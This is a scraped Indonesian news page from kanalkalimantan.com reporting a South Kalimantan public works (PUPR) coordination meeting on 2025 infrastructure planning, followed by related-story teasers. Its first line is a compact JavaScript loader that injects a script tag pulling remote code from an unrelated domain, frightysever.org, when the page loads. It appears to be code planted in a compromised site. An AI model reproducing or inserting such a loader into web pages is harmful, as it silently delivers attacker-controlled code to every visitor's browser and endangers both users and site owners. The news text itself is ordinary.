(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan Selatan mempersiapkan program dan kegiatan pembangunan infrastruktur yang tepat sasaran, berkualitas, dan berdaya saing pada 2025 mendatang.
Dalam hal ini, Dinas Pekerjaan Umum dan Penataan Ruang Provinsi (PUPR) Kalimantan Selatan (Kalsel) melakukan Rapat Koordinasi Teknis Kabupaten/Kota se-Provinsi Kalimantan Selatan pada tahun 2024 untuk mempersiapkan program dan kegiatan pembangunan infrastruktur yang tepat sasaran, berkualitas, dan berdaya saing pada 2025.
Rapat koordinasi ini bertujuan menyamakan persepsi dan komitmen seluruh pemangku kepentingan untuk membangun daerah melalui pembangunan infrastruktur yang terintegrasi dengan strategis.
Baca juga: Vonis Ringan Kasus Korupsi Pembangunan Gedung BBPOM Banjarmasin
Dalam rapat tersebut, Kepala Dinas PUPR Kalsel, Ahmad Solhan mengatakan pentingnya mendiskusikan bersama terkait dalam perumusan program pembangunan infrastruktur.
Hal ini bertujuan untuk menyinergikan sumber daya pemerintah pusat, provinsi, dan kabupaten/kota melalui sinkronisasi program dan kegiatan penyelenggaraan bidang pekerjaan umum.
“Jadi dengan adanya rakernis ini sebagai langkah untuk mempercepat pembangunan infrastruktur dengan memaksimalkan pembiayaan dana perimbangan, dana alokasi khusus, dan pembiayaan dekonsentrasi serta tugas pembantuan,” kata Solhan di Surabaya, Kamis (7/3/2024).
Baca juga: Jelang Puasa, Satpol PP Banjarbaru Siap Tertibkan THM
Solhan mengatakan pembangunan infrastruktur yang berskala prioritas dan strategis, dapat mempengaruhi pertumbuhan ekonomi dan memiliki efek yang signifikan terhadap pengembangan suatu wilayah, sehingga dapat memberikan nilai tambah dan menciptakan kesempatan lapangan kerja baru.
“Pembangunan infrastruktur yang baik juga mampu melancarkan distribusi dan mobilitas barang, yang pada gilirannya membuat harga produk dan harga menjadi kompetitif,” ujar dia.
Rapat Koordinasi Teknis ini turut dihadiri oleh Dinas Perumahan Rakyat, Kawasan Permukiman dan Cipta Karya Provinsi Jawa Timur dan Badan Perencanaan dan Pembangunan Daerah Provinsi Jawa Timur, yang memaparkan praktik-praktik terbaik dalam membangun sinergitas stakeholder dalam upaya percepatan pembangunan infrastruktur di daerah.
Baca juga: Layanan Publik di Kota Banjarbaru Terintegrasi Lewat MPP Digital
“Ini akan menjadi informasi dan masukan yang berharga bagi Kalimantan Selatan guna meningkatkan kinerja pembangunan infrastruktur,” ungkap dia. (kanalkalimantan.com/MCkalsel/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.